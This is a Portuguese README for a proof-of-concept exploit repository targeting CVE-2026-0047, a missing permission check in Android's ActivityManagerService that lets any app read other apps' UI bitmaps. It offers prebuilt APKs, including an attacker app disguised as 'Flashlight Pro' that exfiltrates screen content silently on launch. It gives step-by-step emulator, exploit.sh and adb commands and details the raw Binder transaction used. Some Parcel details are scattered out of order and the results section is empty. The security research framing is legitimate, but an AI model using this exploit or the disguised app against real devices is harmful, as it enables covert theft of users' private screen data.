
CVE-2026-0047: Verificação de permissão ausente em ActivityManagerService.dumpBitmapsProto() — roubar bitmaps de UI de todos os aplicativos em execução com zero permissões (Android 16 QPR2 Beta)
Um monte de bitmaps roubados de todos os aplicativos em execução — zero permissões, zero interação do usuário.
A ausência de uma verificação enforceCallingOrSelfPermission(DUMP) em ActivityManagerService.dumpBitmapsProto() permite que qualquer aplicativo instalado exfiltre bitmaps de interface de todos os processos em execução no Android 16 QPR2 Beta (Baklava).
Nota: Não fomos nós que descobrimos esta vulnerabilidade. Todo o crédito pela descoberta e pelo relato responsável é dos pesquisadores originais. Este repositório contém nossa análise de patch, reprodução e documento educacional independentes para ajudar a comunidade de segurança a entender a classe de bug e as técnicas de exploração envolvidas.
| CVE | CVE-2026-0047 |
| Severity | Crítica — CVSS 8.4 |
| Component | ActivityManagerService.dumpBitmapsProto() |
| Root Cause | Ausência de verificação de permissão (CWE-280) |
| Impact | Qualquer aplicativo sem permissões rouba bitmaps de interface de todos os aplicativos em execução |
| Affected | Android 16 QPR2 Beta 1–3 (Baklava), nível de patch < 2026-03-01 |
| Patched | Boletim de Segurança do Android de março de 2026 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
Você precisa de um emulador Android 16 QPR2 Beta (Baklava) com nível de patch de segurança anterior a 2026-03-01:
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Sonda Binder bruta — O código de transação #117 no serviço activity mapeia para dumpBitmapsProto(). Enviá-lo sem argumentos causa um NullPointerException dentro do AMS (não um SecurityException), provando que o corpo do método é executado sem nenhuma verificação de permissão.
Exploit Binder bruto — Usamos IBinder.transact() para enviar um Parcel artesanal diretamente ao AMS. Isso contorna completamente as restrições de API oculta do Android — nenhuma configuração de hidden_api_policy é necessária. O Parcel contém:
android.app.IActivityManager)ParcelFileDescriptor (extremidade de escrita do pipe)userId = -2 (USER_CURRENT)Em um emulador Baklava (BP41.250725.007, patch 2025-08-05) com Configurações, Relógio e Arquivos abertos:
O Google adicionou enforceCallingOrSelfPermission(DUMP) como a primeira linha de dumpBitmapsProto(), para que chamadores sem privilégios agora recebam um SecurityException antes que qualquer dado seja acessado.
Pesquisa e PoC por Mobile Hacking Lab. Reproduzimos esta vulnerabilidade de forma independente para fins educacionais.
Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. Use-a somente em dispositivos e ambientes que você possua ou para os quais tenha permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido.
dumpAll = trueformat = "png"Extração de bitmaps — o AMS grava dados protobuf contendo bitmaps PNG no pipe. Procuramos por bytes mágicos do PNG (89 50 4E 47) e trailers IEND para extrair imagens individuais.